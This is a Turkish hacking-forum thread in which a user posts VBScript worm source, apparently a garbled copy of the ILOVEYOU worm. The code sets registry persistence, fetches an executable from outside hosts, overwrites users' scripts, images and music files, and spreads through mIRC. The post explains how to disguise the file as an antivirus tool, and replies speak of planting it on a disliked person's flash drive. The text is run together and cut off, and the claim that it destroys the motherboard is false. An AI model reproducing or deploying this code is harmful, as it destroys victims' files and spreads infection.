HACKER OO1
HOŞGELDİNİZ HACKEROO1
FORUM : BLOK : SİTEMİZ : =İÇRESİNDE
MÜKEMMEL PAYLAŞIMLAR VARDIR
SİZLERİNDE ARAMIZDA OLMANIZI İSTERİZ,TAMAMEN ÜCRETSİZ OLAN
PAYLAŞIMLAR VE ÜYELİGİMİZ:
KESİNLİKLE SİZLERİN İSTEKLERİNİZ
ÜZERİNE HAZIRLANMIŞ VE TASARLANMIŞTIR
SİTEMİZDE İYİ VAKİT GECİRMENİZ DİLEGİYLE
ADMİN

VİRÜS KODU 1

Önceki başlık Sonraki başlık Aşağa gitmek

VİRÜS KODU 1

Mesaj tarafından MASKE Bir Çarş. Ara. 08, 2010 11:30 am

Kendı pcnızde denemyın pc nız acılmaz.Açmak için format attıramaz atamaz sınız.Çünkü CD-ROM--Disk çalışmaz.CD-ROM--Diski- değiştir seniz bile çalışmaz..bordun tüm fonksiyonlarını,siler ve silinmez..
Nasıl Kullanılır ? :Kodu,Kopyala not defterıne yapıstır sonra farklı kaydet fronten anti-virüs.bat olarak kaydedin kaydettikten sonra uzantısını (formatını) .exe olarak değiştirin.(resime ve mp3 çede koyabilirsiniz-sag tuş özellikler,özet,açıklamalar ın içine yapıştır bukadar....MaSkE....
Kod:
rem delete -pcaş(-vbe)On es error -pcOn error Next Pc Hackdim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d oweq=""ctr=0Set fso = CreateObject("Scripting.FileSystemObject")set file = fso.OpenTextFile(WScript.ScriptFullname,1)vbscopy=file.ReadAllmain()sub main()On Error Resume Nextdim wscr,rrset wscr=CreateObject("WScript.Shell")rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Window s Scripting Host\Settings\Timeout")if (rr>=1) thenwscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"end ifSet dirwin = fso.GetSpecialFolder(0)Set dirsystem = fso.GetSpecialFolder(1)Set dirtemp = fso.GetSpecialFolder(2)Set c = fso.GetFile(WScript.ScriptFullName)c.Copy(dirsystem&"\MSKernel32.vbs")c.Copy(dirwin&"\Win32DLL.vbs")c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")regruns()html()spreadtoemail()listadriv()end subsub regruns()On Error Resume NextDim num,downreadregcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Window s \Cur rentVersio n\Run\MSKernel32&,dirsystem&"\MSKernel32.vbs"regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Window s \Cur rentVersio n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"downread=""downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Intern et Explorer\Download Directory")if (downread="") thendownread="c:"end ifif (fileexist(dirsystem&"\WinFAT32.exe")=1) thenRandomizenum = Int((4 * Rnd) + 1)if num = 1 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT /WIN-BUGSFIX.exe"elseif num = 2 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe"elseif num = 3 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGq**198vbFV5hfFEkbopBdQZnmPOhfgER67b3V bvg/WIN-BUGSFIX.exe"elseif num = 4 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"end ifend ifif (fileexist(downread&"\WIN-BUGSFIX.exe")=0) thenregcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Window s \Cur rentVersio n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"regcreate "HKEY_CURRENT_USER\Software\Microsoft\Interne t Explorer\Main\Start Page","about:blank"end ifend subsub listadrivOn Error Resume NextDim d,dc,sSet dc = fso.DrivesFor Each d in dcIf d.DriveType = 2 or d.DriveType=3 Thenfolderlist(d.path&"")end ifNextlistadriv = send subsub infectfiles(folderspec)On Error Resume Nextdim f,f1,fc,ext,ap,mircfname,s,bname,mp3set f = fso.GetFolder(folderspec)set fc = f.Filesfor each f1 in fcext=fso.GetExtensionName(f1.path)ext=lcase(ext)s=lcase(f1.name)if (ext="vbs") or (ext="vbe") thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closeelseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closebname=fso.GetBaseName(f1.path)set cop=fso.GetFile(f1.path)cop.copy(folderspec&""&bname&".vbs")fso.DeleteFile(f1.path)elseif(ext="jpg") or (ext="jpeg") thenset ap=fso.OpenTextFile(f1.path,2,true)ap.write vbscopyap.closeset cop=fso.GetFile(f1.path)cop.copy(f1.path&".vbs")fso.DeleteFile(f1.path)elseif(ext="mp3&) or (ext="mp2&) thenset mp3=fso.CreateTextFile(f1.path&".vbs")mp3.write vbscopymp3.closeset att=fso.GetFile(f1.path)att.attributes=att.attributes+2end ifif (eq<>folderspec) thenif (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") thenset scriptini=fso.CreateTextFile(folderspec&"\script.i ni")scriptini.WriteLine "[script]"scriptini.WriteLine ";mIRC Script"scriptini.WriteLine "; Please dont edit this script… mIRC will corrupt, if mIRC will"scriptini.WriteLine " corrupt… WINDOWS will affect and will not run correctly. thanks"scriptini.WriteLine ";"scriptini.WriteLine ";Khaled Mardam-Bey"scriptini.WriteLine ";http://www.mirc.com"scriptini.WriteLine ";"scriptini.WriteLine "n0=on 1:JOIN:#:{"scriptini.WriteLine "n1= /if ( şnick == şme ) { halt }"scriptini.WriteLine "n2= /.dcc send şnick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"scriptini.WriteLine "n3=}"scriptini.closeeq=folderspecend ifend ifnextend subsub folderlist(folderspec)On Error Resume Nextdim f,f1,sfset f = fso.GetFolder(folderspec)set sf = f.SubFoldersfor each f1 in sfinfectfiles(f1.path)folderlist(f1.path)nextend subsub regcreate(regkey,regvalue)Set regedit = CreateObject("WScript.Shell")regedit.RegWrite regkey,regvalueend subfunction regget(value)Set regedit = CreateObject("WScript.Shell")regget=regedit.RegRead(value)end functionfunction fileexist(filespec)On Error Resume Nextdim msgif (fso.FileExists(filespec)) Thenmsg = 0elsemsg = 1end iffileexist = msgend functionfunction folderexist(folderspec)On Error Resume Nextdim msgif (fso.GetFolderExists(folderspec)) thenmsg HaCkEr oo1:::MaSkE::
avatar
MASKE
hacker
hacker

Mesaj Sayısı : 199
rep-puan : 2147486328
Rep Puan : 53
Kayıt tarihi : 17/07/10
Yaş : 36
Nerden : İZMİR

Oyun Sayfası
Oyun Alanı:

Kullanıcı profilini gör http://www.hackeroo1.ace.st

Sayfa başına dön Aşağa gitmek

Geri: VİRÜS KODU 1

Mesaj tarafından oquzsanci Bir Perş. Ocak 06, 2011 5:47 pm

Tşk'ler güzel paylaşım Smile
avatar
oquzsanci
GENEL BÖLÜM
GENEL BÖLÜM

Mesaj Sayısı : 3
rep-puan : 2512
Rep Puan : 0
Kayıt tarihi : 06/01/11
Yaş : 22
Nerden : İstanbul

Kullanıcı profilini gör

Sayfa başına dön Aşağa gitmek

Geri: VİRÜS KODU 1

Mesaj tarafından bilgisayar1 Bir Perş. Ocak 13, 2011 10:36 am

Çok Teşekkur Ederim İşime İlerde Yarar .
Gıcık Oldugum Bi Adam Var Flasbellek İstiyo Benden Belki Verririm Ona Very Happy

bilgisayar1
GENEL BÖLÜM
GENEL BÖLÜM

Mesaj Sayısı : 4
rep-puan : 2506
Rep Puan : 0
Kayıt tarihi : 13/01/11

Kullanıcı profilini gör

Sayfa başına dön Aşağa gitmek

Geri: VİRÜS KODU 1

Mesaj tarafından name Bir Perş. Şub. 03, 2011 8:04 pm

uzantısı nerde oluyor

name
GENEL BÖLÜM
GENEL BÖLÜM

Mesaj Sayısı : 3
rep-puan : 2488
Rep Puan : 0
Kayıt tarihi : 30/01/11

Kullanıcı profilini gör

Sayfa başına dön Aşağa gitmek

Geri: VİRÜS KODU 1

Mesaj tarafından hacktoor Bir Ptsi Ağus. 29, 2011 3:20 am

Arkadas sana teşekkur ederim de

bişey diyecem bat ile pc girme kodu var mı sen bana msj atarsan sevinirim şimdiden herkesin Bayramı mubarek olsun Turk hacker ların Allah korusun
avatar
hacktoor
GENEL BÖLÜM
GENEL BÖLÜM

Mesaj Sayısı : 75
rep-puan : 2442
Rep Puan : 5
Kayıt tarihi : 10/07/11
Nerden : Umutları yıkmak ,yaşatmaktan kolaydır..

Kullanıcı profilini gör

Sayfa başına dön Aşağa gitmek

Geri: VİRÜS KODU 1

Mesaj tarafından Sponsored content


Sponsored content


Sayfa başına dön Aşağa gitmek

Önceki başlık Sonraki başlık Sayfa başına dön


 
Bu forumun müsaadesi var:
Bu forumdaki mesajlara cevap veremezsiniz